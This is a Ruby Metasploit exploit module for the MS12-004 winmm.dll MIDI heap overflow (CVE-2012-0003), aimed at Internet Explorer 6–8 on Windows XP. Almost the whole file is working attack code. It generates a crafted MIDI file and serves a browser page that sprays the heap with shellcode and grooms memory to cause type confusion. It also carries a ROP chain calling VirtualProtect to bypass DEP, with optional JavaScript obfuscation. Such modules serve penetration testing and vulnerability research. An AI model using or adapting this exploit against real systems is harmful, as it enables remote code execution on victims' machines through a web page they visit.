470 lines
12 KiB
Ruby
470 lines
12 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info={})
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super(update_info(info,
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'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",
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'Description' => %q{
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This module exploits a heap overflow vulnerability in the Windows Multimedia
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Library (winmm.dll). The vulnerability occurs when parsing specially crafted
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MIDI files. Remote code execution can be achieved by using Windows Media Player's
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ActiveX control.
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Exploitation is done by supplying a specially crafted MIDI file with
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specific events, causing the offset calculation being higher than how much is
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available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing
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us to either "inc al" or "dec al" a byte. This can be used to corrupt an array
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(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
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which leverages remote code execution under the context of the user.
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At this time, for IE 8 target, JRE (Java Runtime Environment) is required
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to bypass DEP (Data Execution Prevention).
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Note: Based on our testing, the vulnerability does not seem to trigger when
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the victim machine is operated via rdesktop.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'juan vazquez',
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'sinn3r',
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],
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'References' =>
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[
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[ 'MSB', 'MS12-004'],
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[ 'CVE', '2012-0003' ],
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[ 'OSVDB', '78210'],
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[ 'BID', '51292'],
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[ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ],
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],
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'Payload' =>
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{
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'Space' => 1024,
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "process",
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[
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'IE 6 on Windows XP SP3',
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{
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'Rop' => false,
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'DispatchDst' => 0x0c0c0c0c
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}
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],
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[
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'IE 7 on Windows XP SP3',
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{
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'Rop' => false,
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'DispatchDst' => 0x0c0c0c0c
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}
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],
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[
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'IE 8 on Windows XP SP3',
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{
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# xchg ecx,esp
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# or byte ptr [eax],al
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# add byte ptr [edi+5Eh],bl
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# ret 8
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# From IMAGEHLP
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'Rop' => true,
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'StackPivot' => 0x76C9B4C2,
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'DispatchDst' => 0x0c0c1be4
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => "Jan 10 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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def get_target(request)
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agent = request.headers['User-Agent']
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vprint_status("Request from: #{agent}")
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
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#Windows XP SP3 + IE 6.0
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return targets[1]
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
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#Windows XP SP3 + IE 7.0
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return targets[2]
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
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#Windows XP SP3 + IE 8.0 + JRE6
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return targets[3]
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else
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return nil
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end
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end
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def get_midi
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# MIDI Fileformat Reference:
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# http://www.sonicspot.com/guide/midifiles.html
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#
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# Event Types:
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# 0x08 = Note Off (when MIDI key is released)
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# 0x09 = Note On (when MIDI key is pressed)
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# 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
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# 0x0B = Controller Event (MIDI channels state)
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# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
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# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
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# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
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# 0x0F = Meta Events (not sent or received over a midi port)
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# Structure:
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# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)
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# Problem:
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# Windows Media Player fails to manage Note On and Note Off Events
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# Track Chunk Data
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tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D"
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# Meta Event - Sequence/Track Name
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tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00"
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# Midi Channel Event - Program Change
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tc << "\x00\xC9\x28"
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# Midi Channel Event - Controller
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tc << "\x00\xB9\x07\x64"
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# Midi Channel Event - Controller
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tc << "\x00\xB9\x0A\x40"
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# Midi Channel Event - Controller
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tc << "\x00\xB9\x7B\x00"
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# Midi Channel Event - Controller
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tc << "\x00\xB9\x5B\x28"
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# Midi Channel Event - Controller
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tc << "\x00\xB9\x5D\x00"
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# Midi Channel Event - Note On
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tc << "\x85\x50\x99\x23\x7F"
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# Corruption events
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# Midi Channel Event - Note On
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tc << "\x00\x9F\xb2\x73"
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# Ends Corruption events
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# Meta Event - End Of Track
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tc << "\x00\xFF\x2F\x00"
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m = ''
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# HEADERCHUNK Header
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m << "MThd" # Header
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m << "\x00\x00\x00\x06" # Chunk size
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m << "\x00\x00" # Format Type
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m << "\x00\x01" # Number of tracks
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m << "\x00\x60" # Time division
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# TRACKCHUNK header
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m << "MTrk" # Header
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m << [tc.length].pack('N')
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m << tc
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midi_name = "test_case.mid"
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return midi_name, m
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end
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def on_request_uri(cli, request)
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if request.uri =~ /\.mid$/i
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print_status("Sending midi file to #{cli.peerhost}:#{cli.peerport}...")
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send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
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return
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end
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#Set default target
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my_target = target
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#If user chooses automatic target, we choose one based on user agent
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if my_target.name =~ /Automatic/
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my_target = get_target(request)
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if my_target.nil?
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send_not_found(cli)
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print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
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return
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end
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vprint_status("Target selected: #{my_target.name}")
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end
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midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
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midi_uri << "/#{@m_name}"
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spray = build_spray(my_target)
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if datastore['OBFUSCATE']
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spray = ::Rex::Exploitation::JSObfu.new(spray)
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spray.obfuscate
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end
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trigger = build_trigger(my_target)
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trigger_fn = "trigger"
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if datastore['OBFUSCATE']
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trigger = ::Rex::Exploitation::JSObfu.new(trigger)
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trigger.obfuscate
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trigger_fn = find_trigger_fn(trigger.to_s)
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end
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html = %Q|
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<html>
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<head>
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<script language='javascript'>
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#{spray}
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</script>
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<script language='javascript'>
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#{trigger}
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</script>
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<script for=audio event=PlayStateChange(oldState,newState)>
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if (oldState == 3 && newState == 0) {
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#{trigger_fn}();
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}
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</script>
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</head>
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<body>
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<object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
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<param name="fileName" value="#{midi_uri}">
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<param name="SendPlayStateChangeEvents" value="true">
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<param NAME="AutoStart" value="True">
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<param name="uiMode" value="mini">
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<param name="Volume" value="-300">
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</object>
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</body>
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</html>
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html = html.gsub(/^\t\t/, '')
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print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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def exploit
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@m_name, @midi = get_midi
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super
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end
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def build_spray(my_target)
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# Extract string based on target
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if my_target.name == 'IE 8 on Windows XP SP3'
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js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
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else
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js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
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end
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# Build shellcode based on Rop requirement
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if my_target['Rop']
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code = create_rop_chain(my_target)
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code << payload.encoded
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shellcode = Rex::Text.to_unescape(code)
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else
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code = payload.encoded
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shellcode = Rex::Text.to_unescape(code)
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end
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# 1. Create big block of nops
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# 2. Compose one block which is nops + shellcode
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# 3. Repeat the block
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# 4. Extract string from the big block
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# 5. Spray
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spray = <<-JS
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var heap_obj = new heapLib.ie(0x10000);
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var code = unescape("#{shellcode}");
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var nops = unescape("%u0c0c%u0c0c");
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while (nops.length < 0x1000) nops+= nops;
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var shellcode = nops.substring(0,0x800 - code.length) + code;
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while (shellcode.length < 0x40000) shellcode += shellcode;
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#{js_extract_str}
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heap_obj.gc();
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for (var i=0; i < 600; i++) {
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heap_obj.alloc(block);
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}
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JS
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spray = heaplib(spray, {:noobfu => true})
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return spray
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end
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# Build the JavaScript string for the attributes
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def build_element(element_name, my_target)
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dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
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element = ''
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if my_target.name =~ /IE 8/
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max = 63 # Number of attributes for IE 8
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index = 1 # Where we want to confuse the type
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else
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max = 55 # Number of attributes for before IE 8
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index = 0 # Where we want to confuse the type
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end
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element << "var #{element_name} = document.createElement(\"select\")" + "\n"
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# Build attributes
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0.upto(max) do |i|
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obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
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element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
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end
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return element
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end
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# Feng Shui and triggering Steps:
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# 1. Run the garbage collector before allocations
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# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
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# 3. Make holes
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# 4. Let windows media play the crafted midi file and corrupt the heap
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# 5. Force the using of the confused tagVARIANT.
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def build_trigger(my_target)
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if my_target.name == 'IE 8 on Windows XP SP3'
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# Redoing the feng shui if fails makes it reliable
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js_trigger = <<-JSTRIGGER
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function trigger(){
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var k = 999;
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while (k > 0) {
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if (typeof(clones[k].w1) == "string") {
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} else {
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clones[k].w1('come on!');
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}
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k = k - 2;
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}
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feng_shui();
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document.audio.Play();
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}
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JSTRIGGER
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select_element = build_element('selob', my_target)
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else
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js_trigger = <<-JSTRIGGER
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function trigger(){
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var k = 999;
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while (k > 0) {
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if (typeof(clones[k].w0) == "string") {
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} else {
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clones[k].w0('come on!');
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}
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k = k - 2;
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}
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feng_shui();
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document.audio.Play();
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}
|
||
|
|
JSTRIGGER
|
||
|
|
|
||
|
|
select_element = build_element('selob', my_target)
|
||
|
|
end
|
||
|
|
|
||
|
|
trigger = <<-JS
|
||
|
|
var heap = new heapLib.ie();
|
||
|
|
#{select_element}
|
||
|
|
var clones=new Array(1000);
|
||
|
|
|
||
|
|
function feng_shui() {
|
||
|
|
|
||
|
|
heap.gc();
|
||
|
|
|
||
|
|
var i = 0;
|
||
|
|
while (i < 1000) {
|
||
|
|
clones[i] = selob.cloneNode(true)
|
||
|
|
i = i + 1;
|
||
|
|
}
|
||
|
|
|
||
|
|
var j = 0;
|
||
|
|
while (j < 1000) {
|
||
|
|
delete clones[j];
|
||
|
|
CollectGarbage();
|
||
|
|
j = j + 2;
|
||
|
|
}
|
||
|
|
|
||
|
|
}
|
||
|
|
|
||
|
|
feng_shui();
|
||
|
|
|
||
|
|
#{js_trigger}
|
||
|
|
JS
|
||
|
|
|
||
|
|
trigger = heaplib(trigger, {:noobfu => true})
|
||
|
|
return trigger
|
||
|
|
end
|
||
|
|
|
||
|
|
def find_trigger_fn(trigger)
|
||
|
|
fns = trigger.scan(/function ([a-zA-Z0-9_]+)\(\)/)
|
||
|
|
if fns.nil? or fns.empty?
|
||
|
|
return "trigger"
|
||
|
|
else
|
||
|
|
return fns.last.first
|
||
|
|
end
|
||
|
|
return "trigger"
|
||
|
|
end
|
||
|
|
|
||
|
|
def junk(n=1)
|
||
|
|
tmp = []
|
||
|
|
value = rand_text(4).unpack("L")[0].to_i
|
||
|
|
n.times { tmp << value }
|
||
|
|
return tmp
|
||
|
|
end
|
||
|
|
|
||
|
|
# ROP chain copied from ms11_050_mshtml_cobjectelement.rb (generated by mona)
|
||
|
|
# Added a little of roping to adjust the stack pivoting for this case
|
||
|
|
# Specific for IE8 XP SP3 case at this time
|
||
|
|
def create_rop_chain(my_target)
|
||
|
|
|
||
|
|
rop_gadgets =
|
||
|
|
[
|
||
|
|
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
|
||
|
|
my_target['StackPivot'], # stackpivot
|
||
|
|
junk, # padding
|
||
|
|
0x7c376402, # POP EBP # RETN [msvcr71.dll]
|
||
|
|
0x7c376402, # skip 4 bytes [msvcr71.dll]
|
||
|
|
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
|
||
|
|
0xfffff800, # Value to negate, will become 0x00000201 (dwSize)
|
||
|
|
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
|
||
|
|
0x7c354901, # POP EBX # RETN [msvcr71.dll]
|
||
|
|
0xffffffff,
|
||
|
|
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
|
||
|
|
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
|
||
|
|
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
|
||
|
|
0xffffffc0, # Value to negate, will become 0x00000040
|
||
|
|
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
|
||
|
|
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
|
||
|
|
0x7c38b001, # &Writable location [msvcr71.dll]
|
||
|
|
0x7c34b8d7, # POP EDI # RETN [msvcr71.dll]
|
||
|
|
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
|
||
|
|
0x7c364802, # POP ESI # RETN [msvcr71.dll]
|
||
|
|
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
|
||
|
|
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
|
||
|
|
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
|
||
|
|
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
|
||
|
|
0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]
|
||
|
|
].flatten.pack('V*')
|
||
|
|
|
||
|
|
return rop_gadgets
|
||
|
|
end
|
||
|
|
|
||
|
|
|
||
|
|
end
|